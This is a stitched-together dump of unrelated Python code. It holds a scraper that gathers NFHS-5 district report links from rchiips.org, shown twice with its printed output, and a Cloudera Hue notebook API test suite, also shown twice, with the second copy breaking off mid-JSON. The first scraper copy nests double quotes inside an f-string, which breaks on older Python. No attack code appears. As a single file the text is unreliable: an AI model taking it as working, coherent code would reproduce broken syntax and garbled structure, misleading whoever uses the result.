from bs4 import BeautifulSoup import pandas as pd import requests state_links = pd.read_csv("statewise_links.csv") districtwise_links = pd.DataFrame(columns=['state', 'district', 'link']) for index, row in state_links.iterrows(): print(f"Processing state #{index} {row["state"]} at link {row["link"]}") webpage = requests.get(url = row['link']).text soup = BeautifulSoup(webpage, 'html.parser') try: s = soup.find_all('select')[0].find_all('option') for i in range(0, len(s)): link_to_report = s[i].get('value') district_name = s[i].text if link_to_report is not None: districtwise_links = districtwise_links.append( { 'state': row['state'], 'district': district_name, 'link': link_to_report }, ignore_index=True ) except: print("[ERROR] Could not process:", row) districtwise_links.to_csv('districtwise_links.csv') ''' Output for this program: Processing state #0 Andhra Pradesh at link http://rchiips.org/nfhs/NFHS-5_AP.shtml Processing state #1 Arunachal Pradesh at link http://rchiips.org/nfhs/NFHS-5_AR.shtml Processing state #2 Assam at link http://rchiips.org/nfhs/NFHS-5_AS.shtml Processing state #3 Bihar at link http://rchiips.org/nfhs/NFHS-5_BR.shtml Processing state #4 Chhattisgarh at link http://rchiips.org/nfhs/NFHS-5_CT.shtml Processing state #5 Goa at link http://rchiips.org/nfhs/NFHS-5_GA.shtml Processing state #6 Gujarat at link http://rchiips.org/nfhs/NFHS-5_GJ.shtml Processing state #7 Haryana at link http://rchiips.org/nfhs/NFHS-5_HR.shtml Processing state #8 Himachal Pradesh at link http://rchiips.org/nfhs/NFHS-5_HP.shtml Processing state #9 Jharkhand at link http://rchiips.org/nfhs/NFHS-5_JH.shtml Processing state #10 Karnataka at link http://rchiips.org/nfhs/NFHS-5_KA.shtml Processing state #11 Kerala at link http://rchiips.org/nfhs/NFHS-5_KL.shtml Processing state #12 Madhya Pradesh at link http://rchiips.org/nfhs/NFHS-5_MP.shtml Processing state #13 Maharashtra at link http://rchiips.org/nfhs/NFHS-5_MH.shtml Processing state #14 Manipur at link http://rchiips.org/nfhs/NFHS-5_MN.shtml Processing state #15 Meghalaya at link http://rchiips.org/nfhs/NFHS-5_ML.shtml Processing state #16 Mizoram at link http://rchiips.org/nfhs/NFHS-5_MZ.shtml Processing state #17 Nagaland at link http://rchiips.org/nfhs/NFHS-5_NL.shtml Processing state #18 Odisha at link http://rchiips.org/nfhs/NFHS-5_OR.shtml Processing state #19 Punjab at link http://rchiips.org/nfhs/NFHS-5_PB.shtml Processing state #20 Rajasthan at link http://rchiips.org/nfhs/NFHS-5_RJ.shtml Processing state #21 Sikkim at link http://rchiips.org/nfhs/NFHS-5_SK.shtml Processing state #22 Tamil Nadu at link http://rchiips.org/nfhs/NFHS-5_TN.shtml Processing state #23 Telangana at link http://rchiips.org/nfhs/NFHS-5_TL.shtml [ERROR] Could not process: state Telangana link http://rchiips.org/nfhs/NFHS-5_TL.shtml Name: 23, dtype: object Processing state #24 Tripura at link http://rchiips.org/nfhs/NFHS-5_TR.shtml Processing state #25 Uttar Pradesh at link http://rchiips.org/nfhs/NFHS-5_UP.shtml Processing state #26 Uttarakhand at link http://rchiips.org/nfhs/NFHS-5_UT.shtml Processing state #27 West Bengal at link http://rchiips.org/nfhs/NFHS-5_WB.shtml Processing state #28 Andaman & Nicobar Island (UT) at link http://rchiips.org/nfhs/NFHS-5_AN.shtml Processing state #29 Chandigarh (UT) at link http://rchiips.org/nfhs/NFHS-5_CH.shtml [ERROR] Could not process: state Chandigarh (UT) link http://rchiips.org/nfhs/NFHS-5_CH.shtml Name: 29, dtype: object Processing state #30 Dadra Nagar Haveli & Daman & Diu (UT) at link http://rchiips.org/nfhs/NFHS-5_DD.shtml Processing state #31 NCT of Delhi (UT) at link http://rchiips.org/nfhs/NFHS-5_DL.shtml Processing state #32 Jammu & Kashmir (UT) at link http://rchiips.org/nfhs/NFHS-5_JK.shtml Processing state #33 Ladakh (UT) at link http://rchiips.org/nfhs/NFHS-5_LH.shtml Processing state #34 Puducherry (UT) at link http://rchiips.org/nfhs/NFHS-5_PY.shtml '''
from bs4 import BeautifulSoup import pandas as pd import requests state_links = pd.read_csv("statewise_links.csv") districtwise_links = pd.DataFrame(columns=['state', 'district', 'link']) for index, row in state_links.iterrows(): print(f"Processing state #{index} {row['state']} at link {row['link']}") webpage = requests.get(url = row['link']).text soup = BeautifulSoup(webpage, 'html.parser') try: s = soup.find_all('select')[0].find_all('option') for i in range(0, len(s)): link_to_report = s[i].get('value') district_name = s[i].text if link_to_report is not None: districtwise_links = districtwise_links.append( { 'state': row['state'], 'district': district_name, 'link': link_to_report }, ignore_index=True ) except: print("[ERROR] Could not process:", row) districtwise_links.to_csv('districtwise_links.csv') ''' Output for this program: Processing state #0 Andhra Pradesh at link http://rchiips.org/nfhs/NFHS-5_AP.shtml Processing state #1 Arunachal Pradesh at link http://rchiips.org/nfhs/NFHS-5_AR.shtml Processing state #2 Assam at link http://rchiips.org/nfhs/NFHS-5_AS.shtml Processing state #3 Bihar at link http://rchiips.org/nfhs/NFHS-5_BR.shtml Processing state #4 Chhattisgarh at link http://rchiips.org/nfhs/NFHS-5_CT.shtml Processing state #5 Goa at link http://rchiips.org/nfhs/NFHS-5_GA.shtml Processing state #6 Gujarat at link http://rchiips.org/nfhs/NFHS-5_GJ.shtml Processing state #7 Haryana at link http://rchiips.org/nfhs/NFHS-5_HR.shtml Processing state #8 Himachal Pradesh at link http://rchiips.org/nfhs/NFHS-5_HP.shtml Processing state #9 Jharkhand at link http://rchiips.org/nfhs/NFHS-5_JH.shtml Processing state #10 Karnataka at link http://rchiips.org/nfhs/NFHS-5_KA.shtml Processing state #11 Kerala at link http://rchiips.org/nfhs/NFHS-5_KL.shtml Processing state #12 Madhya Pradesh at link http://rchiips.org/nfhs/NFHS-5_MP.shtml Processing state #13 Maharashtra at link http://rchiips.org/nfhs/NFHS-5_MH.shtml Processing state #14 Manipur at link http://rchiips.org/nfhs/NFHS-5_MN.shtml Processing state #15 Meghalaya at link http://rchiips.org/nfhs/NFHS-5_ML.shtml Processing state #16 Mizoram at link http://rchiips.org/nfhs/NFHS-5_MZ.shtml Processing state #17 Nagaland at link http://rchiips.org/nfhs/NFHS-5_NL.shtml Processing state #18 Odisha at link http://rchiips.org/nfhs/NFHS-5_OR.shtml Processing state #19 Punjab at link http://rchiips.org/nfhs/NFHS-5_PB.shtml Processing state #20 Rajasthan at link http://rchiips.org/nfhs/NFHS-5_RJ.shtml Processing state #21 Sikkim at link http://rchiips.org/nfhs/NFHS-5_SK.shtml Processing state #22 Tamil Nadu at link http://rchiips.org/nfhs/NFHS-5_TN.shtml Processing state #23 Telangana at link http://rchiips.org/nfhs/NFHS-5_TL.shtml [ERROR] Could not process: state Telangana link http://rchiips.org/nfhs/NFHS-5_TL.shtml Name: 23, dtype: object Processing state #24 Tripura at link http://rchiips.org/nfhs/NFHS-5_TR.shtml Processing state #25 Uttar Pradesh at link http://rchiips.org/nfhs/NFHS-5_UP.shtml Processing state #26 Uttarakhand at link http://rchiips.org/nfhs/NFHS-5_UT.shtml Processing state #27 West Bengal at link http://rchiips.org/nfhs/NFHS-5_WB.shtml Processing state #28 Andaman & Nicobar Island (UT) at link http://rchiips.org/nfhs/NFHS-5_AN.shtml Processing state #29 Chandigarh (UT) at link http://rchiips.org/nfhs/NFHS-5_CH.shtml [ERROR] Could not process: state Chandigarh (UT) link http://rchiips.org/nfhs/NFHS-5_CH.shtml Name: 29, dtype: object Processing state #30 Dadra Nagar Haveli & Daman & Diu (UT) at link http://rchiips.org/nfhs/NFHS-5_DD.shtml Processing state #31 NCT of Delhi (UT) at link http://rchiips.org/nfhs/NFHS-5_DL.shtml Processing state #32 Jammu & Kashmir (UT) at link http://rchiips.org/nfhs/NFHS-5_JK.shtml Processing state #33 Ladakh (UT) at link http://rchiips.org/nfhs/NFHS-5_LH.shtml Processing state #34 Puducherry (UT) at link http://rchiips.org/nfhs/NFHS-5_PY.shtml '''
#!/usr/bin/env python ## -*- coding: utf-8 -*- # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from builtins import object import json from collections import OrderedDict from mock import patch, Mock, MagicMock from nose.plugins.attrib import attr from nose.tools import assert_equal, assert_true, assert_false from django.urls import reverse from azure.conf import is_adls_enabled from desktop import appmanager from desktop.conf import APP_BLACKLIST from desktop.lib.django_test_util import make_logged_in_client from desktop.lib.test_utils import grant_access, add_permission from desktop.models import Directory, Document, Document2 from hadoop import cluster as originalCluster from useradmin.models import User import notebook.connectors.hiveserver2 from notebook.api import _historify from notebook.connectors.base import Notebook, QueryError, Api from notebook.decorators import api_error_handler from notebook.conf import get_ordered_interpreters, INTERPRETERS_SHOWN_ON_WHEEL, INTERPRETERS from notebook.models import Analytics class TestNotebookApi(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") grant_access("test", "default", "notebook") grant_access("not_perm_user", "default", "notebook") self.notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": 50010, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "5982a274-de78-083c-2efc-74f53dce744c", "isSaved": false, "parentUuid": null } """ self.notebook = json.loads(self.notebook_json) self.doc2 = Document2.objects.create(id=50010, name=self.notebook['name'], type=self.notebook['type'], owner=self.user) self.doc1 = Document.objects.link( self.doc2, owner=self.user, name=self.doc2.name, description=self.doc2.description, extra=self.doc2.type ) def test_save_notebook(self): # Test that saving a new document with a new parent will set the parent_directory home_dir = Document2.objects.get_home_directory(self.user) assert_equal(home_dir.uuid, self.doc2.parent_directory.uuid) new_dir = Directory.objects.create(name='new_dir', owner=self.user, parent_directory=home_dir) notebook_cp = self.notebook.copy() notebook_cp.pop('id') notebook_cp['directoryUuid'] = new_dir.uuid notebook_json = json.dumps(notebook_cp) response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(new_dir.uuid, doc.parent_directory.uuid) # Test that saving a new document with a no parent will map it to its home dir notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(Document2.objects.get_home_directory(self.user).uuid, doc.parent_directory.uuid) # Test that saving a notebook will save the search field to the first statement text assert_equal(doc.search, "select * from default.web_logs where app = 'metastore';") def test_historify(self): # Starts with no history assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(1, Document.objects.filter(name__contains=self.notebook['name']).count()) history_doc = _historify(self.notebook, self.user) assert_true(history_doc.id > 0) # Test that historify creates new Doc2 and linked Doc1 assert_equal(1, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(2, Document.objects.filter(name__contains=self.notebook['name']).count()) # Historify again history_doc = _historify(self.notebook, self.user) assert_equal(2, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(3, Document.objects.filter(name__contains=self.notebook['name']).count()) def test_get_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # History should not return history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', data=self.notebook_json, owner=self.user, is_history=True) # Verify that get_history API returns history objects for given type and current user response = self.client.get(reverse('notebook:get_history'), {'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal(3, len(data['history']), data) assert_true(all(doc['type'] == 'query-hive' for doc in data['history']), data) # TODO: test that query history for shared query only returns docs accessible by current user def test_clear_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # Clear history should not clear history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', owner=self.user, is_history=True) # clear history should retain original document but wipe history response = self.client.post(reverse('notebook:clear_history'), {'notebook': self.notebook_json, 'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_false(Document2.objects.filter(type='query-hive', is_history=True).exists()) assert_true(Document2.objects.filter(type='query-hive', is_history=False).exists()) assert_true(Document2.objects.filter(type='query-impala', is_history=True).exists()) def test_delete_notebook(self): trash_notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id": "e069ef32-5c95-4507-b961-e79c090b5abf","type":"hive","status":"ready","database":"default","statement":"select * from web_logs","statement_raw":"select * from web_logs","variables":[],"properties":{"settings":[],"files":[],"functions":[]},"result":{}}], "uuid": "8a20da5f-b69c-4843-b17d-dea5c74c41d1" } """ # Assert that the notebook is first saved response = self.client.post(reverse('notebook:save_notebook'), {'notebook': trash_notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) # Test that deleting it moves it to the user's Trash folder notebook_doc = Document2.objects.get(id=data['id']) trash_notebooks = [Notebook(notebook_doc).get_data()] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 1 notebook(s)', data['message'], data) response = self.client.get('/desktop/api2/doc', {'path': '/.Trash'}) data = json.loads(response.content) trash_uuids = [doc['uuid'] for doc in data['children']] assert_true(notebook_doc.uuid in trash_uuids, data) # Test that any errors are reported in the response nonexistant_doc = { "id": 12345, "uuid": "ea22da5f-b69c-4843-b17d-dea5c74c41d1", "selectedSnippet": "hive", "showHistory": False, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": None, } ], "type": "query-hive", "snippets": [{ "id": "e069ef32-5c95-4507-b961-e79c090b5abf", "type": "hive", "status": "ready", "database": "default", "statement": "select * from web_logs", "statement_raw": "select * from web_logs", "variables": [], "properties": {"settings": [], "files": [], "functions": []}, "result": {} }] } trash_notebooks = [nonexistant_doc] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 0 notebook(s) and failed to delete 1 notebook(s).', data['message'], data) assert_equal(['ea22da5f-b69c-4843-b17d-dea5c74c41d1'], data['errors']) def test_query_error_encoding(self): @api_error_handler def send_exception(message): raise QueryError(message=message) message = """SELECT a.key, a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = """SELECT \u2002\u2002a.key, \u2002\u2002a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = u"""SELECT a.key, a.* FROM déclenché c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) class MockedApi(Api): def execute(self, notebook, snippet): return { 'sync': True, 'has_result_set': True, 'result': { 'has_more': False, 'data': [['test']], 'meta': [{ 'name': 'test', 'type': '', 'comment': '' }], 'type': 'table' } } def close_statement(self, notebook, snippet): pass def export_data_as_hdfs_file(self, snippet, target_file, overwrite): return {'destination': target_file} class MockFs(object): def __init__(self, logical_name=None): self.fs_defaultfs = 'hdfs://curacao:8020' self.logical_name = logical_name if logical_name else '' self.DEFAULT_USER = 'test' self.user = 'test' self._filebrowser_action = '' def setuser(self, user): self._user = user @property def user(self): return self._user def do_as_user(self, username, fn, *args, **kwargs): return '' def exists(self, path): return True def isdir(self, path): return path == '/user/hue' def filebrowser_action(self): return self._filebrowser_action @user.setter def user(self, value): self._user = value class TestNotebookApiMocked(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") # Beware: Monkey patch HS2API Mock API if not hasattr(notebook.connectors.hiveserver2, 'original_HS2Api'): # Could not monkey patch base.get_api notebook.connectors.hiveserver2.original_HS2Api = notebook.connectors.hiveserver2.HS2Api notebook.connectors.hiveserver2.HS2Api = MockedApi originalCluster.get_hdfs() self.original_fs = originalCluster.FS_CACHE["default"] originalCluster.FS_CACHE["default"] = MockFs() grant_access("test", "default", "notebook") grant_access("test", "default", "beeswax") grant_access("test", "default", "hive") grant_access("not_perm_user", "default", "notebook") grant_access("not_perm_user", "default", "beeswax") grant_access("not_perm_user", "default", "hive") add_permission('test', 'has_adls', permname='adls_access', appname='filebrowser') def tearDown(self): notebook.connectors.hiveserver2.HS2Api = notebook.connectors.hiveserver2.original_HS2Api if originalCluster.FS_CACHE is None: originalCluster.FS_CACHE = {} originalCluster.FS_CACHE["default"] = self.original_fs @attr('integration') def test_export_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/Test Hive Query.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/path.csv', data['watch_url']['destination'], data) if is_adls_enabled(): response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('adl:/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('adl:/user/hue/path.csv', data['watch_url']['destination'], data) def test_download_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:download'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': 'csv' }) content = "".join(response) assert_true(len(content) > 0) def test_get_interpreters_to_show(): default_interpreters = OrderedDict(( ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'type': 'hive', 'is_sql': True, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'type': 'pig', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }) )) expected_interpreters = OrderedDict(( ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'is_sql': False, 'type': 'pig', 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'is_sql': True, 'type': 'hive', 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }) )) try: resets = [INTERPRETERS.set_for_testing(default_interpreters), APP_BLACKLIST.set_for_testing('')] appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) interpreters_shown_on_wheel_unset = get_ordered_interpreters() assert_equal( list(default_interpreters.values()), interpreters_shown_on_wheel_unset, 'get_interpreters_to_show should return the same as get_interpreters when interpreters_shown_on_wheel is unset. expected: %s, actual: %s' % ( list(default_interpreters.values()), interpreters_shown_on_wheel_unset ) ) resets.append(INTERPRETERS_SHOWN_ON_WHEEL.set_for_testing('java,pig')) assert_equal(list(expected_interpreters.values()), get_ordered_interpreters(), 'get_interpreters_to_show did not return interpreters in the correct order expected: %s, actual: %s' % (list(expected_interpreters.values()), get_ordered_interpreters())) finally: for reset in resets: reset() appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) class TestAnalytics(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") def test_basic_stats(self): try: doc, created = Document2.objects.get_or_create(name='test_query_stats', type='query-hive', owner=self.user, data={}) Analytics.admin_stats() Analytics.user_stats(user=self.user) Analytics.query_stats(query=doc) finally: doc.delete() class TestEditor(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="empty", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") grant_access("test", "empty", "impala") def test_open_saved_impala_query_when_no_hive_interepreter(self): try: doc, created = Document2.objects.get_or_create(name='open_saved_query_with_hive_not_present', type='query-impala', owner=self.user, data={}) with patch('desktop.middleware.fsmanager') as fsmanager: response = self.client.get(reverse('notebook:editor'), {'editor': doc.id, 'is_embeddable': True}) assert_equal(200, response.status_code) finally: doc.delete()
#!/usr/bin/env python ## -*- coding: utf-8 -*- # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from builtins import object import json from collections import OrderedDict from mock import patch, Mock, MagicMock from nose.plugins.attrib import attr from nose.tools import assert_equal, assert_true, assert_false from django.urls import reverse from azure.conf import is_adls_enabled from desktop import appmanager from desktop.conf import APP_BLACKLIST from desktop.lib.django_test_util import make_logged_in_client from desktop.lib.test_utils import grant_access, add_permission from desktop.models import Directory, Document, Document2 from hadoop import cluster as originalCluster from useradmin.models import User import notebook.connectors.hiveserver2 from notebook.api import _historify from notebook.connectors.base import Notebook, QueryError, Api from notebook.decorators import api_error_handler from notebook.conf import get_ordered_interpreters, INTERPRETERS_SHOWN_ON_WHEEL, INTERPRETERS from notebook.models import Analytics class TestNotebookApi(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") grant_access("test", "default", "notebook") grant_access("not_perm_user", "default", "notebook") self.notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": 50010, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "5982a274-de78-083c-2efc-74f53dce744c", "isSaved": false, "parentUuid": null } """ self.notebook = json.loads(self.notebook_json) self.doc2 = Document2.objects.create(id=50010, name=self.notebook['name'], type=self.notebook['type'], owner=self.user) self.doc1 = Document.objects.link( self.doc2, owner=self.user, name=self.doc2.name, description=self.doc2.description, extra=self.doc2.type ) def test_save_notebook(self): # Test that saving a new document with a new parent will set the parent_directory home_dir = Document2.objects.get_home_directory(self.user) assert_equal(home_dir.uuid, self.doc2.parent_directory.uuid) new_dir = Directory.objects.create(name='new_dir', owner=self.user, parent_directory=home_dir) notebook_cp = self.notebook.copy() notebook_cp.pop('id') notebook_cp['directoryUuid'] = new_dir.uuid notebook_json = json.dumps(notebook_cp) response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(new_dir.uuid, doc.parent_directory.uuid) # Test that saving a new document with a no parent will map it to its home dir notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 